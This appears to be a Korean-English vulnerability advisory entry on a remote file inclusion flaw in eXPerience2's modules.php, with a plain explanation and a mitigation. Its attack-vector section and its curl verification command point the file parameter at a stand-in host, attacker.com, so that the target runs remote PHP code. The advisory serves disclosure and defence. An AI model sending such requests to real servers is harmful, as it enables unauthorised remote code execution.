🇰🇷 한글 설명
eXPerience2의 modules.php 파일에서 발생하는 원격 파일 포함(RFI) 취약점으로, file 파라미터를 원격 웹 서버의 URL로 조작하여 임의의 PHP 코드를 실행할 수 있습니다. 공격자가 악의적인 코드를 포함한 외부 파일을 참조하도록 유도하여 서버에서 실행되게 합니다.
💡 쉬운 설명
eXPerience2 프로그램이 인터넷에서 파일을 불러올 때 악의적인 파일 주소를 받으면, 해커가 원격으로 서버에서 명령을 실행할 수 있습니다. 파일을 검증하지 않아서 발생하는 문제입니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in modules.php in eXPerience2 allows remote attackers to execute arbitrary PHP code by modifying the file parameter to reference a URL on a remote web server that contains the code.
📍 영향받는 시스템
eXPerience2 (정확한 버전 미지정, 모듈 기반 구조의 버전들)
⚔️ 공격 벡터
http://target.com/modules.php?file=http://attacker.com/malicious.php와 같은 URL을 통해 직접 HTTP 요청으로 공격 가능
🛡️ 대응 방법
eXPerience2를 최신 버전으로 업그레이드하거나, file 파라미터에서 프로토콜 필터링을 추가하여 로컬 파일만 로드하도록 제한
🔧 검증 코드
응답에 attacker.com의 PHP 코드 실행 결과(예: phpinfo() 출력)가 포함되면 취약점 확인됨. HTTP 403/404는 보호됨을 의미
curl -s 'http://target-site.com/modules.php?file=http://attacker.com/test.php' | head -20